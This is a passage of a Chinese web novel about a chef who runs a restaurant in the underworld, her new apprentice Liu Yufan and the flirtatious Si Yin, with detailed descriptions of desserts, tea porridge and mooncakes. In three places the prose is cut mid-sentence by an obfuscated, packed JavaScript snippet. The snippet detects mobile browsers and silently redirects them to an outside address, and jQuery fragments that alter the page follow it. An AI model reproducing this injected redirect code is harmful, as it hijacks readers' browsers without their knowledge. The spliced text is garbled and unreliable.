刘语凡点点头，又摇摇头：“我想帮你，也想跟着你学手艺。” “为什么？” “因为沈老板很厉害！” 沈婵娟被她的直白逗得直乐，面上却不显：“哦——原来是想当我的学生？” 刘语凡丝毫没察觉沈婵娟的恶趣味，热切地看着她：“很想！” 沈婵娟最终还是没忍住，笑起来：“知道了。” 刘语凡不明所以地看着她，被面前的沈婵娟摸了摸头：“你叫什么名字？” “刘语凡。“她虽然不知道沈婵娟在乐什么，但看样子，沈老板应该不讨厌她，“文刀刘，言语的语，平凡的凡。” “好。”沈婵娟温和地叫她：“语凡。” 语凡。 刘语凡顿了顿，想起小时候春光明媚的下午，父母问自己：“囡囡，你知道人与人之间，是怎么联系在一起的吗？” 那时她还小，还不能理解父母的意思，但会机灵地握住他们的双手：“知道！这样就会连在一起了！” 他们双双笑起来：“嗯，是这样。更早一点呢？” 刘语凡不解，只好捏了捏妈妈的手，想让藏不住话的她告诉自己。 刘溪无奈地拍了拍刘语凡的头，却罕见地没有替她回答。 刘语凡又捏了捏她，见妈妈没有反应，她只好跺跺脚，扑在母亲的怀里喊“妈妈！” 刘溪把她抱到怀里，一下一下摸着她的头发：“我们囡囡真聪明，说对啦。” 刘语凡去抱她的脖子：“怎么就对啦？妈妈骗我。” 刘溪被她闹得没法，朝她嘴里塞了颗橘子糖：“妈妈没有骗你呀。” 刘语凡嘴里橘子的甜味弥漫开，橘子的味道天然带着暖洋洋的感觉，她自己也被太阳晒得热乎乎的，那时她听见刘溪说： “语凡，妈妈叫你的时候，我们就联系在一起了呀。” 刘语凡想起远在人世的父母，想起橘子糖的味道，想他们写给自己信的开头，想他们原来没有骗自己。 于是，她轻轻地应了一声：“嗯。” 这样，人与人便联系在一起了。 沈婵娟领她进了后厨，介绍了一下大体的布局和设施，教她又快又准地上菜，然后找一个能看到灶台的好视角，看沈婵娟做菜。 一听看她做菜，刘语凡双眼发亮，期待地看着沈婵娟。 沈婵娟无奈：“以后有你看的。” 刘语凡失落地点点头，沈婵娟又故意道：“语凡，你在人间学厨学得好吗？” 刘语凡紧张地看着她：“挺好的！我爷爷会夸我！” 沈婵娟笑眯眯地点头：“那你的拿手菜，可以做给为师尝尝吗？” 刘语凡一愣，旋即自信地笑了笑：“好。” 沈婵娟内心尖叫。 终于轮到她耍师傅威风了！ 爱徒心切的沈婵娟拉来司殷：“你有需要的材料都告诉他，他打杂打得真的很好，” 司殷：(^_^)/~~~ 刘语凡毫无所觉，感动地看着沈婵娟：“谢谢师傅。” 司殷：？？ 该谢的是沈老板吗？ 沈婵娟憋着笑，在店内找了个位置坐下，等着尝刘语凡的菜。 一想到自己要像师傅一样点评别人的菜了，沈婵娟兴奋得手心都冒了汗。 没一会，司殷从后厨出来。 沈婵娟示意他坐下，眼睛却没有离开刘语凡半步，眼里是毫不掩饰的赞赏。 司殷不急不慢地坐在她对面，身子挡住沈婵娟半边视线：“她就是沈老板等的人？” 沈婵娟正过头：“你知道？” 司殷：“你丢掉的招聘单，我看到了。” 丢掉的招聘单上面，选人条件可以说是为刘语凡“量身定做”，要求女性，又要求年龄不能太大，还要求要有厨艺基础，最好会扯糖丝，沈就差把刘语凡的名字写上了。 沈婵娟尴尬地笑了笑。 其实她计划着开业的时候，第一时间就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15304134|165014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到了刘语凡，她的锐气和稳健，沈婵娟记到今天。只可惜她不知道刘语凡的住址，也不知道她的姓名。便是在店里看到刘语凡，也只是匆匆的一个背影。 自从开店起，沈婵娟便只拜托过云寄锦帮忙，云寄锦也有自己的事情，店内忙起来时，只能靠司殷和沈婵娟两人连轴转，幸亏他们配合得极好，才没有出过岔子。 司殷也很疑惑，沈婵娟为什么不招一个服务员？地府上菜分明比人间简单得多，只要一个人就够用。 但是沈婵娟没有。 沈婵娟只是安然做自己的事情，从没有提起过招人的事。便是有人来自荐，沈婵娟也都委婉拒绝。 直到今天，司殷才知道沈婵娟在等，也在赌，在赌刘语凡究竟会不会来。 为了一个最好的人选，她宁愿不要其他人来替代。 司殷的睫毛微微颤动，他想，如果刘语凡不来呢？如果刘语凡根本没有那么喜爱所谓烹饪，将沈婵娟抛之脑后呢？ 沈婵娟为什么那么相信她？又为什么可以那么坚定地等待她呢？ 他心里微妙地涌起一种忌妒，于是司殷轻轻地说：“她这么好吗？值得沈老板这么等待？” 沈婵娟坦然点头：“她很好，当然也很值得。” “那你为什么可以肯定，她一定会来？” 沈婵娟：“感觉。” 司殷第一次露出一点疑惑。 “其实我也不能肯定，但是我相信自己的感觉。”沈婵娟露出一点笑意，“我心里总有一个声音，让我等一等。” 司殷：“就因为这样？” 沈婵娟点头：“就因为这样。”她眼里露出一点怀念的神色，“我师傅说，人和人相处讲究缘分，我觉得我和语凡就很有缘份，也许这就是别人说的……命运的安排？” 沈婵娟自己把自己逗乐了，司殷却笑不出来。听到“命运”，他轻轻拧了拧眉头。 司殷心里有一点不是滋味，像咸海水漫溢过心头。 “那沈老板觉得，我们算有缘吗？” 男女之间的“缘”，总是与风月相关。 司殷这话有一点暧昧。 沈婵娟顿了顿，想了一会才点点头：“算。” 他们的缘分，就工作来说，司殷可以接触食材，能解沈婵娟的燃眉之急。就感情来说，司殷的出现又总是恰到好处。诚如夏风无法吹皱春水，而对于沈婵娟来说，司殷恰好是撩动的春风。 闻言，司殷眼里涌上一点暗紫色，只是很快又消失不见。 沈婵娟与别人的缘分浑然天成，与他的所谓“缘分”，却全靠司殷自己推波助澜。 司殷握着椅边的手用力得泛了白，面上却笑意依旧：“我也这么想。” 有没有缘分有什么要紧？ 命不命运又拿他如何？ 他是凤凰，是地府之主，便是没有缘份，司殷也要生造一段出来。 话音刚落，两盘被盖住的菜肴漂浮到二人中间。 沈婵娟揭开盖子，一道盘中六个奶白圆球，表皮微皱，雪白的糖粉点缀其中，便如冬日鹅毛大雪上，几个奶皮子做的乳酪球。 这道菜虽像奶酪，却没有使用牛奶，而是用蛋清、豆沙、淀粉和白糖四种原料，又因为卖相极佳，名字也美，唤做“雪绵豆沙”。 这是菜看着很简单，但其实不然。 雪绵豆沙要用油炸，但却不能使油上色，炸出来的“雪球”以纯白色最佳。同时要保持表层的绵软，油温要控制在100℃以下，浸炸五六分钟。 沈婵娟看着盘内乳白色的小球，没有说话。 25. 闪电泡芙 再看另一道紫薯山药糕，盘上的芙蓉花糕小巧玲珑，紫白相间，糕体的粉很细，没有任何未被打碎的小块。 沈婵娟先尝的是紫薯山药糕，入口的花糕质地柔和，轻轻一抿就化在口中。紫薯的清甜和山药的绵软完美地结合在一起，细砂糖也选择得很好，既能够激发紫薯天然的甜味，又不会喧宾夺主，使人吃得腻味。 紫薯山药糕的做法很简单，只要将紫薯、山药蒸熟打碎，放入砂糖后便可以压入模具中成型。 但评价厨师功力的高低，却不能仅凭菜式难度的高低，而更要体会厨师倾注的细节和对于味道的把控。 这道紫薯山药糕，糕体之细腻令人咂舌，紫薯纤维多，单靠机器和手打很难打得细腻，必须过筛后才有这种口感。刘语凡在厨房时间不长，但已筛得很完美，这份耐心和娴熟，沈婵娟很欣赏。 再说味道，这道糕点用了紫薯和山药，二者都很少用于糕点的制作，但刘语凡运用得很好，紫薯和山药味道质朴，但并不俗气，让沈婵娟想起天高地阔白云远，想起土地和高原。 至于糖分，甜点的糖度一直是甲之蜜糖乙之砒霜的难题，但这道山药糕却甜得恰到好处，少一分则寡，多一分则腻，和谐又浑然天成。 沈婵娟笑了笑：“很好。” 刘语凡的眼睛亮亮的，带着少年特有的骄傲和锐气：“谢谢师傅！” “这道菜你做了多久？” “从小做到大！”刘语凡看了眼沈婵娟，不好意思道，“我小时候跟着爷爷学厨，锅太重了，我不愿意学，我爷爷就拿这个来哄我，他做得比我还要好。” 沈婵娟笑着点点头，又去尝那道雪绵豆沙。 表层的“雪衣”打得很松软，但却没有云一样的口感，豆沙甜味调和得不错，但又不如紫薯山药糕那般自然。好吃自然是好吃的，只是不如朴素的紫薯山药糕惊艳。而且，从奶白的白皮也能看出，刘语凡对火候的把控还稍显青涩。 不过沈婵娟也能猜到刘语凡为什么会做这道雪绵豆沙，在师傅面前炫技嘛，她懂的，谁还没年轻过。 沈婵娟仍然笑眯眯的：“雪绵豆沙也不错。” 刘语凡不傻，自然能听出来沈婵娟对于两道菜凭评价的差别，但却不明白为什么。 在她自己看来，紫薯山药糕虽然好，可是制作很简单，味道也只能说不错。但雪绵豆沙有难度，有层次，完成得也还可以。 刘语凡有点不服，但又想起来面前不是能和自己大吵八百回合的爷爷，又悻悻地闭了嘴。 沈婵娟一看刘语凡的神色，就知道她有话想说，至于想说什么，倒也不难猜。 沈婵娟笑着摇了摇头，却什么也没说，只是对着刘语凡道：“天色不早了，明日做晚餐，你下午来便好。” 刘语凡本来期待着沈婵娟再说些什么，却没想她只是轻飘飘地揭过了。 她不无失望地点点头：“那我先走了。” 临走前，沈婵娟拉住刘语凡，对她耳语了几句。 闻言，刘语凡双眼放光，激动地点点头，与司殷也道过别后，才背了包离开。 沈婵娟抿着嘴笑了笑，司殷站在她面前，挡住了她看向刘语凡的视线。 司殷垂下眼睛看她：“今日还要备甜品吗？” 沈婵娟回过神点点头，洗净手进了后厨。明日定好的轮换甜点量很大，需要提前烤制。 她先将鸡蛋隔水加热后备用，再将牛奶、黄油、细砂糖等下锅煮沸，倒入筛好的低筋面粉后迅速翻拌成团。 沈婵娟的速度很快，面团初具光泽后，就倒入蛋液搅拌成适宜的糊状。 司殷在烤盘表面抹上一层薄薄的黄油，沈婵娟趁热将面糊挤成长条状，表皮上有裱花嘴带出的漂亮的棱条。而后在泡芙表皮洒一点水，防止烤制的过程中开裂。筛上一层糖粉后，送入烤箱烘烤。 等待的时间里，沈婵娟又开始做卡仕达酱，卡仕达的用量很大，打发也更简单，司殷也跟着打发了一盆。 见沈婵娟用手抹了一点卡仕达酱试味道，司殷也学着她，用手指尝了尝。 香草味的，甜甜的。 司殷笑了笑，他想，人类说的果然不错，甜食的确是让人愉悦的食品。 沈婵娟用余光看到他的样子，也勾了勾嘴角。 把煮好的卡仕达酱隔冰水降温后，放入冰箱冷藏备用。 两个人都闲下来，满室飘着黄油和砂糖的香味，烤箱发出轻微的烘烤声。 司殷向沈婵娟展示指尖的香草卡仕达酱：“很好吃。” 沈婵娟颇有些得意地叉着腰：“当然，我做的嘛。” 见司殷眼里的紫色深了些，沈婵娟指着自己的眼睛：“你的眼睛……很奇特。看上去明明和我们一样，但有的时候又会有一点紫色。” 司殷挑了挑眉：“是吗？我没有注意。” 沈婵娟点点头：“你笑起来的时候，紫色好像就会更明显一点。” 司殷凑近她半步，心情颇好地笑起来：“这样吗？” 他放大的脸出现在沈婵娟面前，眉若刀裁，目含秋波。 如果说人的眼睛是一片湖泊，那司殷的这片湖，每一处粼粼的波光，都是沈婵娟。 沈婵娟的耳朵有点烫，他们的距离不算近，但热度却莫名地扩散开来。 面前司殷的眼睛微微弯起，沈婵娟这才想起，还没有回他的话。 “就是这样。紫色的眼睛，很漂亮。” “漂亮吗？”他的语调轻而慢，每一个字都流连在他的唇间，仿佛旖旎的调情。 沈婵娟直视着他的眼睛，里面的暗紫色越发浓郁。 “那沈老板喜欢吗？”司殷的声音轻飘飘的，像以声音魅惑人类的妖精。 沈婵娟呆滞了一秒，不自觉地点了点头。 面前的司殷笑起来，越发显得眉目如画：“多谢沈老板抬爱。” 沈婵娟回过神，耳朵越发烫了，垂下眼退开了一步。 司殷心情更好了，轻描淡写道：“不过我还是更喜欢沈老板——” 沈婵娟呼吸微滞。 他顿了顿，泰然自若地再接上，“你的眼睛。” “叮——”烤箱内的泡芙好了。 沈婵娟轻轻地吐出第一口气，心内不知是轻松多一些，还是惆怅多一些。 她后知后觉地才闻出来，空气里已有淡淡的酥皮香。 沈婵娟若无其事地朝烤箱走去，用双手给耳朵降了降温，学着司殷的语气道：“也多谢你的抬爱。” 司殷靠在料理台上，看着那座烤箱，眯了眯眼睛。 烤箱内的加热器闪动了一下，很快恢复如常。 沈婵娟取出冷藏过的卡仕达酱，掩饰般开始打发卡仕达奶油和淋酱。 淋酱可以为泡芙带来更丰富的口感，沈婵娟准备做五个口味，方便顾客选择。 沈婵娟在把卡仕达酱分成几份，在其中一份内倒入开心果味的抹酱，而后加入切好的开心果碎，司殷接过料理碗，隔着冰水，娴熟地搅拌起来。 做好的抹酱开心果味很浓郁，夹杂着淡淡的香草味，咸度适中，果仁香脆。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15331688|165014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >而后又做了巧克力口味，醇厚的苦味里夹杂着可可香，口感细腻丝滑，能很好地中和掉泡芙的甜。 沈婵娟拿出几个泡芙，把剩下的都放进项链里，让司殷自行先挑选喜欢的口味。 至于沈婵娟自己，她已经想好要吃巧克力味和焦糖味，一甜一苦，刚好互补。 等她收完泡芙，司殷也已经选好了口味。而他挑选出来的卡仕达酱，竟然也是巧克力味和焦糖味。 沈婵娟挑了挑眉：“好巧，我也想吃这两个味道。” 司殷笑了笑：“真巧，我最喜欢这两个口味。” 两个甜苦派友好地握了握手，在泡芙内挤入卡仕达奶油后，沈婵娟便先开始淋酱。 将淋面用刮刀抹平，使之呈现出镜面的亮感，同时为了美观，沈婵娟还撒了一点糖粒和可可豆脆。 而那边的司殷显然是个生手，淋面崎岖不平，也没有上手装饰。 司殷毫无窘迫的样子，将剩下的泡芙推到沈婵娟面前：“不如沈老板代劳？” 沈婵娟爽快点头：“好啊。”不过很快，她话锋一转，自若地伸出手，“既然要我做事，你打算给我什么酬劳？” 沈婵娟嘴上虽这么说，但不过是想逗逗司殷，扳回一城。 谁成想，瞎猫碰上死耗子。 对面的司殷露出一个揶揄的表情：“我的酬劳吗？” 沈婵娟心内警铃大作，不等她开口，司殷又慢慢道：“沈老板一定会喜欢的。” 司殷伸出手，轻轻点了点沈婵娟脖颈上的锅铲项链。 “您的阴时到账：10000阴时。” 沈婵娟沉默。 司殷打杂打得太好，她都要忘了司殷是个大少爷了。 此时此刻，沈婵娟深刻地体会到，什么叫搬起石头砸自己的脚。 见她不语，司殷仿佛疑惑般再次开口：“不够吗？” 眼见他再次伸手，沈婵娟连忙抓住他的手，诚恳道：“够了。” 司殷瞥了一眼他们交错的双手，任由沈婵娟抓住：“真的吗？” “真的。” 见司殷有所松动，沈婵娟放心地松开他的手，连忙询问他有无忌口。 司殷收回的手指蜷缩了一下，配合地摇了摇头。 而后，沈婵娟在巧克力淋面上用芒果酱写了“siyin”，又在焦糖淋面上裱上奶油花，用草莓和青提装点。 “尝尝？” 司殷看着自己的姓名，好一会才回过神，心情颇好地拿起泡芙，送入口中。 醇厚香酥的泡芙内夹着甜而不腻的卡仕达奶油，奶油绵密，泡芙表皮酥脆，巧克力淋面苦中带香，混合着微弱的芒果味，美妙得难以言喻。 另一个焦糖泡芙则更甜，甜味爆表的同时幸福指数也直线飙升，配合上浓郁丝滑的焦糖淋面、酸甜的草莓和甜蜜的青提，更加香甜可口。 饶是司殷自诩斯文，两个泡芙也很快就被消灭。 见状，沈婵娟突然想起这个泡芙名字的由来：“你知道这个泡芙为什么叫闪电泡芙吗？” 司殷慢条斯理地擦着手，轻轻摇了摇头。 “因为它的美味——”沈婵娟狡黠地眨眨眼，“能让食客们闪电般吃完。” 她不自觉咬重了“闪电”的字眼，司殷毫无由来地笑出来。 “你笑什么？”沈婵娟莫名，“它名字的由来，真的就是这样。” 司殷摇摇头，收起上扬的嘴角，眼里的笑意却无法掩盖：“只是觉得很可爱。” 不管是泡芙还是沈婵娟，都很可爱。 26. [锁] 该章节由作者自行锁定 通常来说，做早餐的人总是比吃早餐的人起得更早。 不过只要魏湉来，她又比沈婵娟这个做早餐的人更早。 “沈老板，早上好。” “早上好。”沈婵娟开了店门，如往常一样递给她一袋东西。 魏湉打开一看，居然是烤得香喷喷的糖炒栗子，还剥了壳。 棕黄的栗子肉上裹着一点粘稠的糖，把热乎的栗子轻轻掰开，又能看到糖已经渗到栗子内部，洇出一点深色。 栗子趁热吃，绵密的口感和焦糖的香味才能被热气完全激发。若是冷了，栗子就发干发硬，反而不美。 魏湉边吃，边坐在店内打量着窗外的地府。 俗话说，一叶落而知天下秋。 可地府的秋天既没有枯黄的落叶，也没有高远的蓝天，有的只是阵阵萧瑟的秋风，和穿得越来越厚的众鬼。 此时街道上还冷清，百鬼集市的商店半数都关着门，偶尔有过路的行人，魏湉就和自己打赌，猜他们会不会进店来。 穿风衣的男人潇洒而过，戴首饰的女人径直离开，打着哈欠的大婶走到门口……拐了个弯打开了对面的店门。 魏湉百无聊赖地想，除了沈老板，应该没有人和自己一样来这么早。 于是她又低头伸手去拿糖炒栗子，手指却意外碰到了牛皮纸底部。 叮零叮零。门口的风铃响了。 那袋糖炒栗子也已经空了。 进店的女人挽了半个髻，用一支黄琉璃簪子固定好，余下的长发柔顺地垂在雪白的毛衣上，像江南的雨，柔和又秀美。 她一身衣着简洁而优雅，风度翩翩，不过突兀的是，米白裤脚有半边棕黄的污渍，那块污渍颜色已经很淡，看得出来洗过很多次。 魏湉没忍住多看了两眼，直觉她并不像是会穿一条脏裤子的人。 女人走到半封闭的厨房边，寻常的芥菜粥、皮蛋瘦肉粥、南瓜粥等都已熬好，粘稠的粥汤被火熨出一个个小泡。 沈婵娟开了火用粗茶叶煎出汁，加了大米放在锅内细熬。 “您吃点什么？” 宁兰因忙敛下失望的神色：“一杯豆浆，一份煎饺。” 沈婵娟应下后，她却没有寻位置坐下，只是站在厨房边，出神地看着沈婵娟的动作。 干炒牛河。麻婆豆腐。白灼虾仁。清炒莴苣。 这些菜一道道飘向魏湉的方向，宁如因连头也没回，只是看着沈婵娟灵巧的手腕和娴熟的姿态，眼睛都不眨一下。 沈婵娟没见过这么爱看做菜的客人，饺子都煎完了，她还是站在那。 她颇有些无奈地挥挥手：“您的煎饺和豆浆好了。” 宁兰因回过神，有些抱歉地接过：“不好意思，谢谢。” 沈婵娟摇摇头：“您趁热吃。” 宁兰因点头应下，就近找了个位置坐下。 魏湉吃着干炒牛河，余光扫到了在她不远处坐下的宁兰因。 她的簪子颜色实在很特别，在灯下显得无比澄亮，像琉璃又像琥珀，只是簪头的形状很不好辨认，模糊的一块像狗又像猫的东西，平白拉低了宁兰因一身搭配的美感。 魏湉收回视线，也收起无处安放的好奇心，继续吃自己的干炒牛河。 很快，一盘牛河就见底了。 “你对干炒牛河还真是爱得深沉。” 沈婵娟揶揄的声音传来，魏湉摸了摸鼻子，不好意思地点点头。 她的目光落在沈婵娟的早餐上，半碟肉松被倒入浅褐色的粥中，轻轻搅拌开，海苔肉松像涟漪一样散在粥里，沈婵娟便慢悠悠地盛起一勺送入口中。 魏湉表情复杂地看着沈婵娟，她从没见过肉松拌粥，自然难以想象这种古怪喝法的味道。 不过，“沈老板，这碗粥有什么可以讲的吗？” 沈婵娟知道她对美食背后的缘由很感兴趣，便不吝啬地讲解起来： “我初中的时候在院里做饭，早餐的种类虽然多，但是我就特别喜欢煲粥。” 魏湉不解：“为什么？” “因为不用早起。”沈婵娟笑了笑，“定时好了就可以吃，不像豆浆油条，要现做的才好吃。” 魏湉若有所思地点点头。 沈婵娟继续：“有一次，老师让我们课后去读书，我根本不想看，就假装去图书馆找书，准备借几天敷衍了交差。没想到翻到一本书，封面上画了一根白菜和两颗蒜，我以为是菜谱，就把它借走了。” “结果不是菜谱？” “对。”沈婵娟眼里露出一点怀念的神色，“是汪曾祺的《人间有味》，我读得入了迷，特别想知道高邮鸭蛋和咸菜茨菰汤是什么味道，但是鸭蛋要等，茨菰难找，我就看中了这个。” 沈婵娟把茶粥往前一推。 “茶粥。用粗茶叶煎汁，加大米熬粥，我看了好几遍，都会背了。” 魏湉看着沈婵娟，她的眼尾轻轻扬起，盈满了轻快的笑意。 桌上浅褐色的粥汤很浓稠，带起一点清浅的茶香，肉松散发出微微的咸香。 魏湉不自觉地咽了咽口水。 沈婵娟：“要喝一点吗？” 魏湉迫不及待：“要！” 沈婵娟失笑，去后厨盛了一碗茶粥，另附一碟满满的肉松。 魏湉小心翼翼地接过，生怕那颤颤巍巍的“肉松山”跌落一块。 “虽然书里只写了茶粥，但我觉得煮出来的茶粥味道有些淡，小孩子和年轻人吃不来，就配了一碟肉松。” 魏湉了然地点点头，茶粥的香味顺着热气一起飘到鼻子里。 魏湉不喜欢读书，但对于书总是有些滤镜的。书在她的印象里，代表着“雅”。而美食，说得普通些，就是人的三餐，饱腹的手段，是很“俗”的。 但现在，这碗茶粥，它居然可以和书一样“美”，一样“雅”，这令魏湉感到吃惊。 书上“陌上人如玉”的少年郎见不着，美食却是可以吃到的。 魏湉学着沈婵娟的样子把肉松倒入，轻轻搅拌几下。 入口的茶粥烫而香，粥汤粘稠，米都熬得软烂了，带着淡淡的茶香。魏湉本以为肉松配粥的味道会非常怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15351519|165014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异，却没想到十分美味。清新的热茶粥正要配一点海苔肉松，才不会太过寡淡。 而粥内的肉松不像市面上售卖的那样松散，一看就是机器加工的，反而很筋道，很有嚼劲。把它扯成丝状的纤维浸泡在茶粥中，等肉松的咸与茶粥的香结合在一起，肉松有茶味，茶粥有荤香，怎一个香字了得？ 魏湉吃完最后一口，一丝不苟地擦过嘴：“超级好吃！” 沈婵娟笑吟吟的：“有这话就够了。” 天色渐亮，店内人逐渐多起来，不过堂食的少，多数是在厨房口排着队，要现炸的油条或者蒸笼上的包子馒头。 食客们的话题出奇的相似，都在说着即将到来的中秋。魏湉静静听着，手指轻轻滑过碗口。 还是温热的。 “老板，中秋做月饼吗？” “支持！有冰皮或者莲蓉就好了！” “反对，我为豆沙扛大旗！” “通通驳回！全部给我吃蛋黄的！” “五仁呢？我们五仁只是老了不是死了……” 魏湉笑了笑，因为工作原因，她能坐着与中秋相处的时间不多，对于月饼也没有太多的偏好，往往是公司发什么，她就吃什么。 不过若是能自己选……魏湉思来想去，觉得鲜肉月饼就不错。 肉馅要鲜，带一点甜味，饼皮酥酥的，就会特别香。 魏湉飘飘然地站起来，又像风一样往西城而去。 眼见魏湉如鬼魅般消失，初来乍到的宁兰因吓了一大跳。 * 送走了中午的客人，沈婵娟便开始备月饼的饼皮和内馅。月饼这种节日热销品，既怕备少了不够卖，又怕备多了只能打折卖。 而且若是临近中秋才开工，那就忙不过来了，趁现在时日还早，可以先提前做些月饼备着。 传统的莲蓉蛋黄、红豆沙、五仁馅等自不必说，肯定是要做的。 时兴的冰皮月饼、鲜肉月饼、奶黄流心这些，沈婵娟也都准备做一些，主打让所有人都能吃上自己喜欢的口味。 至于销售嘛，沈婵娟则另有办法。 月饼除了传统的油皮，又可以做冰皮和酥皮，三种饼皮搭配不同的馅料，就会别有风味。 例如传统的油皮，就适合莲蓉蛋黄和五仁的厚重浓郁，味美而丰；而冰皮则适合更加清爽的馅料，例如水果馅料和奶黄流心，一甜一咸搭配软糯的冰皮，味宜而清；至于酥皮，就适合咸甜的鲜肉馅，鲜肉难免发腻，酥皮却平实解腻，两相汇聚，味浓而香。 最先出炉的是一锅五仁月饼，因为只是试温，便只烤了三个。 月饼表皮被烤得棕黄，还油亮亮的，掰开的内馅里有花生、杏仁、葵花籽、蔓越莓和葡萄干，打得碎碎的，混成漂亮的五仁馅。 刘语凡迫不及待地叉了一块。 月饼皮很香很脆，五仁内馅烘烤得热乎乎的，一口下去滋味丰满，坚果的香和果干的甜味交织着，令人满口生香。 刘语凡双眼放光：“热的好好吃！” 沈婵娟笑了笑：“那就趁热吃。” 27. 莲蓉月饼 而后又烤了莲蓉蛋黄、红豆、巧克力等好几种月饼，莲蓉浓郁细腻，蛋黄又沙又香；红豆碾得很细，吃起来特别软和；巧克力则用了苦黑巧，裹了一层可可莲蓉，烘烤后轻轻掰开，热巧克力就顺着内馅流下来。 刘语凡吃得那叫一个心满意足，大半的月饼都进了她的肚子。 司殷虽然没说话，但沈婵娟看得出来，他喜欢吃，而且最喜欢巧克力和奶黄味的。 他的口味倒是和沈婵娟一模一样。 试过了味道，便可以开始大批量地做月饼了。 在面粉里倒入转化糖浆、枧水和花生油，趁热翻拌成团，这就是最常用的油饼皮。而后将牛奶、炼乳、油搅拌均匀，再筛入糯米粉、澄粉和糖粉，上锅蒸熟后放凉，揉成光滑的团状，这便是冰皮。 馅料则更加五花八门，最常用的馅是莲蓉，莲蓉可包万物，内里包上流油的红鸭蛋，就是莲蓉蛋黄，包上巧克力馅，就是巧克力流心，包上奶黄、枣泥、绿豆沙等等，都是相得益彰的。 刘语凡帮着在旁边拌饼皮、碾红豆，看到沈婵娟印出来的月饼式样，大惊失色：“师傅，这、这是？！” 闻言，司殷抬眼去看沈婵娟手边的月饼，上面的纹路虽还没有炙烤，但已经很清晰。 一根长锁链盘旋在上，锁链头上一个巨大的弯尖和钩爪，正是黑无常的成名武器——勾魂锁。 沈婵娟摆好月饼，微微一笑：“小黑的勾魂锁链。” 刘语凡见她淡定，更是不解：“过中秋吃月饼，无非是取一个团圆的好彩头，师傅你倒好，吉利的日子却做勾魂锁，这不是犯晦气吗？” 沈婵娟捂住她的嘴：“慎言。” 刘语凡想起黑白无常时不时会闪现在店内，后怕地闭了嘴。 “团圆的拓印当然也要做，”沈婵娟细致地取出一个刻着“花好月圆”的月饼，“不过，每个都如此，那就没意思了。” 刘语凡欲言又止，她终归是刚拜了师傅，不想和沈婵娟有口角。 沈婵娟和刘语凡相处了几天，也摸清了一些她的脾气，主动道：“语凡，你来地府之后，有和人聊过天吗？” “当然有！”刘语凡不知沈婵娟为什么这么问，但她的嘴闲不住，“聊地府守则，各城阴差和风俗，都有得聊！” 沈婵娟点点头：“那如果和不认识的人聊天，你最可能选择什么话题？” 刘语凡想了想：“大概会聊阴差吧？我之前排队倒是不怎么聊天，不过有人问过我小黑小白，倒是从阴差聊到了生前的事。” 说着说着，她恍然大悟：“阴差就像明星一样对不对？而且还是所有人都知道的明星！话题度也很高！” “聪明。”沈婵娟朝她眨眨眼。 刘语凡有点不好意思，有有些不解道：“可是勾魂这个词，听起来确实不太……嗯。” “我自有办法。”沈婵娟敲了敲她：拌冰皮吧。” 刘语凡被敲了也不恼，轻快地搅拌起来。 爷爷也会敲她，可是为什么师傅敲，就一点不会让人生气呢？ 刘语凡美滋滋的，对司殷阴冷的眼风毫无察觉。 “司殷，你八月十六那天有空吗？” 司殷敛好神色，面对沈婵娟时仍然一副含笑的模样：“需要帮忙吗？” 沈婵娟：“我就不能有别的事找你吗？” “可是你每次找我，不是切菜就是揉面，不是试味道就是做月饼，”司殷放下包内馅的手，轻轻垂下眼，“连糖炒栗子都不给我……” 沈婵娟被他说得心虚，反思起自己是不是太把司殷当牛马用了。 这么说来，打扫是司殷，洗菜是司殷，刷锅也是司殷…… 沈婵娟的良心有点痛：“怎么会呢！明天我就给你带！” 司殷听到了想要的回答，含着笑看向沈婵娟。 沈婵娟被他看得脸热，连忙道：“你若是忙不过来，可以让语凡分担一下。” 刘语凡骤然听到自己的名字，稀里糊涂地应了一声。 她刚准备友好地朝司殷点点头，那边的司殷却轻飘飘地睨了她一眼，又怠慢地收回了目光。 这人怎么还有两幅面孔呢？？？ 刘语凡被此男的变脸气到，碾红豆的木铲用力了些，碰到筛网，发出磕碰的声音。 “语凡，轻一点。”沈婵娟接过她的小木铲，“像这样。” 她的双手贴合着木铲，耐心地将红豆碾成平薄的面，又将平面的红豆泥细细地筛过网，筛入底下的盘子中。 她的动作轻和又稳重，刘语凡单是看着，便觉得心内的火一点点被浇灭，时间仿佛都慢下来，只听得到小木铲碰到筛网时擦出的细碎声响。 一声又一声。 “这样碾会更快，碾出来的红豆也更细腻。”沈婵娟笑着捏了半块红豆沙送到刘语凡面前。 刘语凡伸手接过，红豆的绵密令人心惊，放入口中，清甜而细腻，甜味不像糖浆一样浓烈，反而淡淡的，又甜丝丝的。 甜蜜的味道像熨斗一样抚平了刘语凡的火气，使她不自觉地轻笑起来。 沈婵娟身上总有让人倾心的魔力，让人感到愉悦而幸福。 沈婵娟笑眯眯地看着她：“就像现在一样。” 